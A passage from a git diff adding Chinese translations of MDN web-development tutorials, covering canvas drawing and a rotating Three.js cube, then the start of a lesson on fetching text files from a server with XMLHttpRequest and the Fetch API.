canvas”(清除画布)按钮时,我们运行一个简单的函数来清除整个画布的内容至纯黑色,和刚才的方法一致:</p> + +<pre class="brush: js notranslate">clearBtn.onclick = function() { + ctx.fillStyle = 'rgb(0, 0, 0)'; + ctx.fillRect(0, 0, width, height); +}</pre> + +<p>这次的绘图循环非常简单,如果 <code>pressed</code> 为 <code>true</code>,则绘制一个圆,该圆以颜色选择器中设定的颜色为背景,以滑动选择器设定的数值为半径。</p> + +<pre class="brush: js notranslate">function draw() { + if(pressed) { + ctx.fillStyle = colorPicker.value; + ctx.beginPath(); + ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false); + ctx.fill(); + } + + requestAnimationFrame(draw); +} + +draw();</pre> + +<div class="note"> +<p><strong>注:</strong><code>range</code> 和 <code>color</code> 两个 {{htmlelement("input")}} 的类型有良好的跨浏览器支持,但 Safari 暂不支持 <code>color</code>,IE 10 以下版本两者均不支持。如果你的浏览器不支持这些输入类型,它们将降格为简单文字输入区域,可以直接输入合法的数字来表示半径和颜色的值。</p> +</div> + +<h2 id="WebGL">WebGL</h2> + +<p>2D 内容告一段落,现在简单了解一下 3D 画布。3D 画布内容可通过的 <a href="/zh-CN/docs/Web/API/WebGL_API">WebGL</a> API 实现,尽管它和 2D canvas API 都可在 {{htmlelement("canvas")}} 元素上进行渲染,但两者是彼此独立的。</p> + +<p>WebGL 基于 <a href="/en-US/docs/Glossary/OpenGL">OpenGL</a> 图形编程语言实现,可直接与 <a href="/en-US/docs/Glossary/GPU">GPU</a> 通信,基于此,编写纯 WebGL 代码与常规的 JavaScript 不尽相同,更像 C++ 那样的底层语言,更加复杂,但无比强大。</p> + +<h3 id="使用库">使用库</h3> + +<p>由于 3D 绘图的复杂性,大多数人写代码时会使用第三方 JavaScript 库(比如 <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>、<a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a> 或 <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a>)。大多数库的原理都基本类似,提供创建基本的、自定义性状的功能、视图定位摄影和光效、表面纹理覆盖,等等。库负责 与 WebGL 通信,你只需完成更高阶工作。</p> + +<p>接触任何一个库都意味着要学一套全新的API(这里是第三方的版本),但与纯 WebGL 编程都大同小异。</p> + +<h3 id="创建魔方">创建魔方</h3> + +<p>我们来看一个简单的示例,用一套 WebGL 库(这里我们选择 <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">Three.js</a>,最流行的 3D 绘图库之一)来创建我们在本文开头看到的旋转魔方。</p> + +<ol> + <li> + <p>首先,下载 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/index.html">index.html</a>、<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/drawing-graphics/threejs-cube/metal003.png">metal003.png</a> 并保存在同一个文件夹。图片将用于魔方的表面纹理。</p> + </li> + <li> + <p>然后,继续在同一个文件夹内创建 <code>main.js</code> 文件。</p> + </li> + <li> + <p>在编辑器中打开 <code>index.html</code> 可以看到其中有两个 {{htmlelement("script")}} 元素,第一个将 <code>three.min.js</code> 嵌入页面,第二个将我们的 <code>main.js</code> 嵌入页面。需要自行 <a href="https://raw.githubusercontent.com/mrdoob/three.js/dev/build/three.min.js">下载 three.min.js 库</a> 并保存到同一个文件夹中。</p> + </li> + <li> + <p>将 <code>three.js</code> 嵌入页面后,就可以在 <code>main.js</code> 中添加新的代码对其加以应用了。请添加下面一行:</p> + + <pre class="brush: js notranslate">var scene = new THREE.Scene();</pre> + + <p><code><a href="https://threejs.org/docs/index.html#Reference/Scenes/Scene">Scene()</a></code> 构造器创建一个新的场景,表示即将显示的整个 3D 世界。</p> + </li> + <li> + <p>下一步,我们需要一部<strong>摄影机</strong>来看到整个场景。在 3D 绘图语境中,摄影机表示观察者在世界里的位置,可通过下面代码创建一部摄影机:</p> + + <pre class="brush: js notranslate">var camera = new THREE.PerspectiveCamera(75, window.innerWidth / window.innerHeight, 0.1, 1000); +camera.position.z = 5; +</pre> + + <p><code><a href="https://threejs.org/docs/index.html#Reference/Cameras/PerspectiveCamera">PerspectiveCamera()</a></code> 构造器有四个参数:</p> + + <ul> + <li>观察区域:镜头视角大小,用角度表示。</li> + <li>屏幕宽高比:一般情况下,宽高比等于屏幕的宽比上屏幕的高。使用其他的值会使场景扭曲(也许正是你需要的,但一般都不是)。</li> + <li>近裁切面:停止渲染前对象离摄影机的最近距离。设想一下,举起一个手指,逐渐移近双眼,某个点后就在也看不到这根手指了。</li> + <li>远裁切面:停止渲染前离摄像机最远的对象的距离。</li> + </ul> + + <p>将摄像机的位置设定为距 Z 轴 5 个距离单位的位置。与 CSS 类似,在屏幕之外你(观察者)的位置。</p> + </li> + <li> + <p>第三个重要参数是渲染器。我们用它来渲染给定的场景,可通过给定位值得摄影机观察。现在我们使用 <code><a href="https://threejs.org/docs/index.html#Reference/Renderers/WebGLRenderer">WebGLRenderer()</a></code> 构造器创建一个渲染器供稍后使用。添加以下代码:</p> + + <pre class="brush: js notranslate">var renderer = new THREE.WebGLRenderer(); +renderer.setSize(window.innerWidth, window.innerHeight); +document.body.appendChild(renderer.domElement);</pre> + + <p>第一行创建一个新的渲染器,第二行设定渲染器在当前摄影机视角下的尺寸,第三行将渲染好的 {{htmlelement("canvas")}} 对象加入HTML的 {{htmlelement("body")}} 中。现在渲染器绘制的内容将在窗口中显示出来。</p> + </li> + <li> + <p>下一步,在画布中创建魔方。把以下代码添加到 JS 文件中:</p> + + <pre class="brush: js notranslate">var cube; + +var loader = new THREE.TextureLoader(); + +loader.load( 'metal003.png', function (texture) { + texture.wrapS = THREE.RepeatWrapping; + texture.wrapT = THREE.RepeatWrapping; + texture.repeat.set(2, 2); + + var geometry = new THREE.BoxGeometry(2.4, 2.4, 2.4); + var material = new THREE.MeshLambertMaterial( { map: texture, shading: THREE.FlatShading } ); + cube = new THREE.Mesh(geometry, material); + scene.add(cube); + + draw(); +});</pre> + + <p>内容很多,我们来剥丝抽茧:</p> + + <ul> + <li>首先,创建一个全局变量 <code>cube</code>,这样就可以在代码任意位置访问我们的魔方。</li> + <li>然后,创建一个 <code><a href="https://threejs.org/docs/index.html#Reference/Loaders/TextureLoader">TextureLoader</a></code> 对象,并调用 <code>load()</code>。 这里 <code>load()</code> 包含两个参数(其它情况可以有更多参数):需要调用的纹理图(PNG 文件)和纹理加载成功后调用的函数。</li> + <li>函数内部,我们用 <code><a href="https://threejs.org/docs/index.html#Reference/Textures/Texture">texture</a></code> 对象的属性指明我们要在魔方的每个面渲染 2 × 2 的图片,然后创建一个 <code><a href="https://threejs.org/docs/index.html#Reference/Geometries/BoxGeometry">BoxGeometry</a></code> 对象和一个 <code><a href="https://threejs.org/docs/index.html#Reference/Materials/MeshLambertMaterial">MeshLambertMaterial</a></code> 对象,将两者作为 <code><a href="https://threejs.org/docs/index.html#Reference/Objects/Mesh">Mesh</a></code> 的参数来创建我们的魔方。 <code><a href="https://threejs.org/docs/index.html#Reference/Objects/Mesh">Mesh</a></code> 一般就需要两个参数:一个几何(形状)和一个素材(形状表面外观)。</li> + <li>最后,将魔方添加进场景中,调用我们的 <code>draw()</code> 函数开始动画。</li> + </ul> + </li> + <li> + <p>定义 <code>draw()</code> 函数前,我们需要先为场景打光,以照亮场景中的物体。请添加以下代码:</p> + + <pre class="brush: js notranslate">var light = new THREE.AmbientLight('rgb(255, 255, 255)'); // soft white light +scene.add(light); + +var spotLight = new THREE.SpotLight('rgb(255, 255, 255)'); +spotLight.position.set( 100, 1000, 1000 ); +spotLight.castShadow = true; +scene.add(spotLight);</pre> + + <p><code><a href="https://threejs.org/docs/index.html#Reference/Lights/AmbientLight">AmbientLight</a></code> 对象是可以轻度照亮整个场景的柔光,就像户外的阳光。而 <code><a href="https://threejs.org/docs/index.html#Reference/Lights/SpotLight">SpotLight</a></code> 对象是直射的硬光,就像闪光灯和手电筒(或者它的英文字面意思——聚光灯)。</p> + </li> + <li> + <p>最后,在代码末尾添加我们的 <code>draw()</code> 函数:</p> + + <pre class="brush: js notranslate">function draw() { + cube.rotation.x += 0.01; + cube.rotation.y += 0.01; + renderer.render(scene, camera); + + requestAnimationFrame(draw); +}</pre> + + <p>这段代码很直观,每一帧我们都沿 X 轴 和 Y 轴将魔方轻微转动,然后按摄像机视角渲染场景,最后调用 <code>requestAnimationFrame()</code> 来准备下一帧。</p> + </li> +</ol> + +<p>回顾一下最终效果:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}</p> + +<p>你可以 <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-cube">到 Github 下载最终代码</a>。</p> + +<div class="note"> +<p><strong>注:</strong>在我们的 GitHub repo 还有另一个趣味 3D 魔方示例——<a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/drawing-graphics/threejs-video-cube">Three.js Video Cube</a>(<a>在线查看</a>)。其中通过 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 来从电脑摄像头获取一段视频,将其投影到魔方上作为纹理。</p> +</div> + +<h2 id="小结">小结</h2> + +<p>此刻你以经了解了一些 Canvas 和 WebGL 图形编程的基本理念和简单应用,你一定产生了不少创作灵感,玩得开心!</p> + +<h2 id="另请参阅">另请参阅</h2> + +<p>本文我们只涉及到画布最为基本的内容,以下内容帮你探索更多:</p> + +<ul> + <li><a href="/zh-CN/docs/Web/API/Canvas_API/Tutorial">Canvas 教程</a>:一个详尽的教程系列,更细致深入地讲解了 2D 画布所需的知识。必读。</li> + <li><a href="/zh-CN/docs/Web/API/WebGL_API/Tutorial">WebGL 教程</a>:纯 WebGL 编程教程系列。</li> + <li><a href="/zh-CN/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js">用 Three.js 创建一个简单的示例</a>:Three.js 基础教程。我们还提供 <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_PlayCanvas">PlayCanvas</a> 和 <a href="/en-US/docs/Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Babylon.js">Babylon.js</a> 的基础教程。</li> + <li><a href="/zh-CN/docs/Games">游戏开发</a>:MDN web 游戏开发目录页。提供与 2D、3D画布相关的实用教程和技术,可参考“技术”和“教程”菜单项。</li> +</ul> + +<h2 id="示例">示例</h2> + +<ul> + <li><a href="https://github.com/mdn/violent-theremin">Violent theramin</a>:用 Web 音频 API 创建声音,用画布显示漂亮的视觉效果以配合音乐。</li> + <li><a href="https://github.com/mdn/voice-change-o-matic">Voice change-o-matic</a>:用画布为 Web 音频 API 产生的音效提供实时的视觉效果。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">web API 简介</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">文档操作</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">从服务器获得数据</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">第三方 API</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">绘图</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">视频API 和 音频 API</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">客户端存储</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/client-side_web_apis/fetching_data/index.html b/files/zh-cn/learn/javascript/client-side_web_apis/fetching_data/index.html new file mode 100644 index 0000000000..5ea749c536 --- /dev/null +++ b/files/zh-cn/learn/javascript/client-side_web_apis/fetching_data/index.html @@ -0,0 +1,395 @@ +--- +title: 从服务器获取数据 +slug: Learn/JavaScript/Client-side_web_APIs/Fetching_data +tags: + - API + - Fetch + - JSON + - JavaScript + - Promises + - XHR + - XML + - XMLHttpRequest + - 初学者 + - 学习 + - 数据 + - 服务器 + - 脚本编程 + - 请求 +translation_of: Learn/JavaScript/Client-side_web_APIs/Fetching_data +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div> + +<p class="summary">在现代网站和应用中另一个常见的任务是从服务端获取个别数据来更新部分网页而不用加载整个页面。 这看起来是小细节却对网站性能和行为产生巨大的影响。所以我们将在这篇文章介绍概念和技术使它成为可能,例如: XMLHttpRequest 和 Fetch API.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>JavaScript 基础(查看 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">第一步</a>, <a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">基础要件</a>, <a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript对象</a>), 和<a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">客户端API基础</a></td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>学会如何从服务器获取数据并使用它更新网页内容.</td> + </tr> + </tbody> +</table> + +<h2 id="这里有什么问题">这里有什么问题?</h2> + +<p>最初加载页面很简单 -- 你为网站发送一个请求到服务器, 只要没有出错你将会获取资源并显示网页到你的电脑上。</p> + +<p><img alt="A basic representation of a web site architecture" src="https://mdn.mozillademos.org/files/6475/web-site-architechture@2x.png" style="display: block; height: 134px; margin: 0px auto; width: 484px;"></p> + +<p>这个模型的问题是当你想更新网页的任何部分,例如显示一套新的产品或者加载一个新的页面,你需要再一次加载整个页面。这是非常浪费的并且导致了差的用户体验尤其是现在的页面越来越大且越来越复杂。</p> + +<h3 id="Ajax开始">Ajax开始</h3> + +<p>这导致了创建允许网页请求小块数据(例如 <a href="/en-US/docs/Web/HTML">HTML</a>, {{glossary("XML")}}, <a href="/en-US/docs/Learn/JavaScript/Objects/JSON">JSON</a>, 或纯文本) 和 仅在需要时显示它们的技术,从而帮助解决上述问题。</p> + +<p>这是通过使用诸如 {{domxref("XMLHttpRequest")}} 之类的API或者 — 最近以来的 <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 来实现. 这些技术允许网页直接处理对服务器上可用的特定资源的 <a href="/en-US/docs/Web/HTTP">HTTP</a> 请求,并在显示之前根据需要对结果数据进行格式化。</p> + +<div class="note"> +<p><strong>注意:在早期,这种通用技术被称为</strong>Asynchronous JavaScript and XML<strong>(Ajax),</strong> 因为它倾向于使用{{domxref("XMLHttpRequest")}} 来请求XML数据。 但通常不是这种情况 (你更有可能使用 <code>XMLHttpRequest</code> 或 Fetch 来请求JSON), 但结果仍然是一样的,术语“Ajax”仍然常用于描述这种技术。</p> +</div> + +<p><img alt="A simple modern architecture for web sites" src="https://mdn.mozillademos.org/files/6477/moderne-web-site-architechture@2x.png" style="display: block; height: 235px; margin: 0px auto; width: 559px;"></p> + +<p>Ajax模型包括使用Web API作为代理来更智能地请求数据,而不仅仅是让浏览器重新加载整个页面。让我们来思考这个意义:</p> + +<ol> + <li><font><font>去你最喜欢的信息丰富的网站之一,如亚马逊,油管,CNN等,并加载它。</font></font></li> + <li>现在搜索一些东西,比如一个新产品。 主要内容将会改变,但大部分周围的信息,如页眉,页脚,导航菜单等都将保持不变。</li> +</ol> + +<p>这是一件非常好的事情,因为:</p> + +<ul> + <li><font><font>页面更新速度更快,您不必等待页面刷新,这意味着该网站体验感觉更快,响应更快。</font></font></li> + <li><font><font>每次更新都会下载更少的数据,这意味着更少地浪费带宽。</font><font>在宽带连接的桌面上这可能不是一个大问题,但是在移动设备和发展中国家没有无处不在的快速互联网服务是一个大问题。</font></font></li> +</ul> + +<p>为了进一步提高速度,有些网站还会在首次请求时将资产和数据存储在用户的计算机上,这意味着在后续访问中,他们将使用本地版本,而不是在首次加载页面时下载新副本。 内容仅在更新后从服务器重新加载。</p> + +<p><img alt="A basic web app data flow architecture" src="https://mdn.mozillademos.org/files/6479/web-app-architecture@2x.png" style="display: block; height: 383px; margin: 0px auto; width: 562px;"></p> + +<p><font>本文不会涉及这种存储技术。</font><font>我们稍后会在模块中讨论它。</font></p> + +<h2 id="基本的Ajax请求">基本的Ajax请求</h2> + +<p>让我们看看使用{{domxref("XMLHttpRequest")}} 和 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>如何处理这样的请求. 对于这些例子,我们将从几个不同的文本文件中请求数据,并使用它们来填充内容区域。</p> + +<p>这一系列文件将作为我们的假数据库; 在真正的应用程序中,我们更可能使用服务器端语言(如PHP,Python或Node)从数据库请求我们的数据。 不过,我们要保持简单,并专注于客户端部分。</p> + +<h3 id="XMLHttpRequest">XMLHttpRequest</h3> + +<p><code>XMLHttpRequest</code> (通常缩写为XHR)现在是一个相当古老的技术 - 它是在20世纪90年代后期由微软发明的,并且已经在相当长的时间内跨浏览器进行了标准化。</p> + +<ol> + <li> + <p>为例子做些准备, 将 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> 和四个文本文件 — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> — 复制到你计算机上的一个新目录. 在这个例子中,我们将通过XHR在下拉菜单中选择一首诗(您可能会认识 — "如果谷歌翻译可以翻译的话")加载另一首诗。</p> + </li> + <li> + <p>在 {{htmlelement("script")}} 的内部, 添加下面的代码. 将 {{htmlelement("select")}} 和 {{htmlelement("pre")}} 元素的引用存储到变量中, 并定义一个 {{domxref("GlobalEventHandlers.onchange","onchange")}} 事件处理函数,可以在select的值改变时, 将其值传递给 <code>updateDisplay()</code> 函数作为参数。 </p> + + <pre class="brush: js">const verseChoose = document.querySelector('select'); +const poemDisplay = document.querySelector('pre'); + +verseChoose.onchange = function() { + const verse = verseChoose.value; + updateDisplay(verse); +};</pre> + </li> + <li> + <p>定义 <code>updateDisplay()</code> 函数. 首先,将下面的代码块放在之前代码块的下面 - 这是函数的空壳:</p> + + <pre class="brush: js">function updateDisplay(verse) { + +}</pre> + </li> + <li> + <p>我们将通过构造一个 指向我们要加载的文本文件的相对URL 来启动我们的函数, 因为我们稍后需要它. 任何时候 {{htmlelement("select")}} 元素的值都与所选的 {{htmlelement("option")}} 内的文本相同 (除非在值属性中指定了不同的值) — 例如 "Verse 1". 相应的诗歌文本文件是 "verse1.txt", 并与HTML文件位于同一目录中, 因此只需要文件名即可。</p> + + <p>但是,Web服务器往往是区分大小写的,文件名没有空格。 要将“Verse 1”转换为“verse1.txt”,我们需要将V转换为小写,删除空格,并在末尾添加.txt。 这可以通过 {{jsxref("String.replace", "replace()")}}, {{jsxref("String.toLowerCase", "toLowerCase()")}}, 和 简单的 <a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">string concatenation</a> 来完成. 在 <code>updateDisplay()</code> 函数中添加以下代码:</p> + + <pre class="brush: js">verse = verse.replace(" ", ""); +verse = verse.toLowerCase(); +let url = verse + '.txt';</pre> + </li> + <li> + <p>要开始创建XHR请求,您需要使用 {{domxref("XMLHttpRequest.XMLHttpRequest", "XMLHttpRequest()")}} 的构造函数创建一个新的请求对象。 你可以把这个对象叫做你喜欢的任何东西, 但是我们会把它叫做 <code>request</code> 来保持简单. 在之前的代码中添加以下内容:</p> + + <pre class="brush: js">let request = new XMLHttpRequest();</pre> + </li> + <li> + <p>接下来,您需要使用 {{domxref("XMLHttpRequest.open","open()")}} 方法来指定用于从网络请求资源的 <a href="/en-US/docs/Web/HTTP/Methods">HTTP request method</a> , 以及它的URL是什么。我们将在这里使用 <code><a href="/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> 方法, 并将URL设置为我们的 <code>url</code> 变量. 在你上面的代码中添加以下代码:</p> + + <pre class="brush: js">request.open('GET', url);</pre> + </li> + <li> + <p>接下来,我们将设置我们期待的响应类型 — 这是由请求的 {{domxref("XMLHttpRequest.responseType", "responseType")}} 属性定义的 — 作为 <code>text</code>. 这并不是绝对必要的 — XHR默认返回文本 —但如果你想在以后获取其他类型的数据,养成这样的习惯是一个好习惯. 接下来添加:</p> + + <pre class="brush: js">request.responseType = 'text';</pre> + </li> + <li> + <p>从网络获取资源是一个 {{glossary("asynchronous")}} "异步" 操作, 这意味着您必须等待该操作完成(例如,资源从网络返回),然后才能对该响应执行任何操作,否则会出错,将被抛出错误。 XHR允许你使用它的 {{domxref("XMLHttpRequest.onload", "onload")}} 事件处理器来处理这个事件 — 当{{event("onload")}} 事件触发时(当响应已经返回时)这个事件会被运行。 发生这种情况时, <code>response</code> 数据将在XHR请求对象的响应属性中可用。</p> + + <p>在后面添加以下内容. 你会看到,在 <code>onload</code> 事件处理程序中,我们将 <code>poemDisplay</code> ( {{htmlelement("pre")}} 元素 ) 的 <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> 设置为 {{domxref("XMLHttpRequest.response", "request.response")}} 属性的值。</p> + + <pre class="brush: js">request.onload = function() { + poemDisplay.textContent = request.response; +};</pre> + </li> + <li> + <p>以上都是XHR请求的设置 — 在我们告诉它之前,它不会真正运行,这是通过 {{domxref("XMLHttpRequest.send","send()")}} 完成的. 在你之前的代码下添加以下内容完成该函数:</p> + + <pre class="brush: js">request.send();</pre> + </li> + <li> + <p>这个例子中的一个问题就是它首次加载时不会显示任何诗。 为了解决这个问题,在代码的底部添加以下两行 (正好在关闭的 <code></script></code> 标签之上) 默认加载第1节,并确保 {{htmlelement("select")}} 元素始终显示正确的值:</p> + + <pre class="brush: js">updateDisplay('Verse 1'); +verseChoose.value = 'Verse 1';</pre> + </li> +</ol> + +<h3 id="在server端运行例子">在server端运行例子</h3> + +<p>如果只是从本地文件运行示例,一些浏览器(包括Chrome)将不会运行XHR请求。这是因为安全限制(更多关于web安全性的限制,请参阅<a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>)。</p> + +<p>为了解决这个问题,我们需要通过在本地web服务器上运行它来测试这个示例。要了解如何实现这一点,请阅读<a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></p> + +<h3 id="Fetch">Fetch</h3> + +<p>Fetch API基本上是XHR的一个现代替代品——它是最近在浏览器中引入的,它使异步HTTP请求在JavaScript中更容易实现,对于开发人员和在Fetch之上构建的其他API来说都是如此。</p> + +<p>让我们将最后一个示例转换为使用Fetch !</p> + +<ol> + <li> + <p>复制您之前完成的示例目录. (如果您没有通过以前的练习,创建一个新的目录。, 然后复制 <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a>和这四个文件 — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p> + </li> + <li> + <p>在 <code>updateDisplay()</code> 里找到 XHR 那段代码:</p> + + <pre class="brush: js">let request = new XMLHttpRequest(); +request.open('GET', url); +request.responseType = 'text'; + +request.onload = function() { + poemDisplay.textContent = request.response; +}; + +request.send();</pre> + </li> + <li> + <p>像这样替换掉所有关于XHR的代码:</p> + + <pre class="brush: js">fetch(url).then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + </li> + <li> + <p>在浏览器中加载示例(通过web服务器运行),它应该与XHR版本相同,前提是您运行的是一个现代浏览器。</p> + </li> +</ol> + +<h4 id="那么Fetch代码中发生了什么呢">那么Fetch代码中发生了什么呢?</h4> + +<p>首先,我们调用了<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/API/WorkerOrWindowGlobalScope/fetch" rel="nofollow" title="此页面仍未被本地化, 期待您的翻译!">fetch()</a></code>方法,将我们要获取的资源的URL传递给它。这相当于现代版的XHR中的<code>request.open()</code>,另外,您不需要任何等效的<code>send()</code>方法。</p> + +<p>然后,你可以看到<code>.then()</code>方法连接到了<code>fetch()</code>末尾-这个方法是<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Promise" title="Promise 对象用于一个异步操作的最终完成(或失败)及其结果值的表示。(简单点说就是处理异步请求。我们经常会做些承诺,如果我赢了你就嫁给我,如果输了我就嫁给你之类的诺言。这就是promise的中文含义:诺言,一个成功,一个失败。)"><code>Promises</code></a>的一部分,是一个用于执行异步操作的现代JavaScript特性。<code>fetch()</code>返回一个promise,它将解析从服务器发回的响应。我们使用<code>then()</code>来运行一些后续代码,这是我们在其内部定义的函数。这相当于XHR版本中的<code>onload</code>事件处理程序。</p> + +<p>当<code>fetch()</code> promise 解析时,这个函数会自动将响应从服务器传递给参数。在函数内部,我们获取响应并运行其<code>text()</code>方法。这基本上将响应作为原始文本返回,这相当于在XHR版本中的<code>responseType = 'text'</code>。</p> + +<p>你会看到 <code>text()</code> 也返回了一个 promise, 所以我们连接另外一个 <code>.then()</code> 到它上面, 在其中我们定义了一个函数来接收 <code>text()</code> promise解析的生文本。</p> + +<p>在promise的函数内部,我们做的和在XHR版本中差不多— 设置 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre" title="The HTML <pre> element represents preformatted text which is to be presented exactly as written in the HTML file."><code><pre></code></a> 元素的文本内容为text的值。</p> + +<h3 id="关于promises">关于promises </h3> + +<p>当你第一次见到它们的时候,promises会让你有点困惑,但现在不要太担心这个。在一段时间之后,您将会习惯它们,特别是当您了解更多关于现代JavaScript api的时候——大多数现代的JavaScript api都是基于promises的。</p> + +<p>让我们再看看上面的promises结构,看看我们是否能更清楚地理解它:</p> + +<pre class="brush: js">fetch(url).then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p>第一行是说‘’获取位于url里的资源(<code>fetch(url)</code>)‘’和“然后当promise解析后运行指定的函数(<code>.then(function() { ... })</code>)”。"解析"的意思是"在将来某一时刻完成指定的操作"。在本例中,指定的操作是从指定的URL(使用HTTP请求)获取资源,并返回对我们执行某些操作的响应。</p> + +<p>实际上,传递给 <code>then()</code> 是一段不会立即执行的代码 — 而是当返回响应时代码会被运行。注意,你还可以选择把你的 promise 保存到一个变量里, 链接 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then" title="The then() method returns a Promise. It takes up to two arguments: callback functions for the success and failure cases of the Promise."><code>.then()</code></a> 在相同的位置。下面的代码会做相同的事情。</p> + +<pre class="brush: js">let myFetch = fetch(url); + +myFetch.then(function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p>因为方法 fetch() 返回一个解析HTTP响应的promise, 你在 .then() 中定义的任何函数会被自动给与一个响应作为一个参数。你可以给这个参数取任何名字,以下的例子依然可以实现:(例子里把response参数叫做狗饼干---'dogBiscuits'=狗饼干)</p> + +<pre class="brush: js">fetch(url).then(function(dogBiscuits) { + dogBiscuits.text().then(function(text) { + poemDisplay.textContent = text; + }); +});</pre> + +<p>但是把参数叫做描述其内容的名字更有意义。</p> + +<p>现在让我们来单独看一下函数:</p> + +<pre class="brush: js">function(response) { + response.text().then(function(text) { + poemDisplay.textContent = text; + }); +}</pre> + +<p>response 对象有个 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Body/text" title="The text() method of the Body mixin takes a Response stream and reads it to completion. It returns a promise that resolves with a USVString object (text). The response is always decoded using UTF-8."><code>text()</code></a>方法, 获取响应主体中的原始数据a并把它转换成纯文本, 那是我们想要的格式。它也返回一个promise (解析结果文本字符串), 所以这里我们再使用 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/then" title="The then() method returns a Promise. It takes up to two arguments: callback functions for the success and failure cases of the Promise."><code>.then()</code></a>, 在里面我们再定义一个操作文本字符串的函数。我们设置诗歌的 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/pre" title="The HTML <pre> element represents preformatted text which is to be presented exactly as written in the HTML file."><code><pre></code></a> 元素的 <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent">textContent</a></code> 属性和这个文本字符串相同, 这样就非常简单地解决了。</p> + +<p>值得注意的是你可以直接将promise块 (<code>.then()</code>块, 但也有其他类型) 链接到另一个的尾部, 顺着链条将每个块的结果传到下一个块。 这使得promises非常强大。</p> + +<p>下面的代码块和我们原始的例子做的是相同的事, 但它是不同的写法:</p> + +<pre class="brush: js">fetch(url).then(function(response) { + return response.text() +}).then(function(text) { + poemDisplay.textContent = text; +});</pre> + +<p>很多开发者更喜欢这种样式, 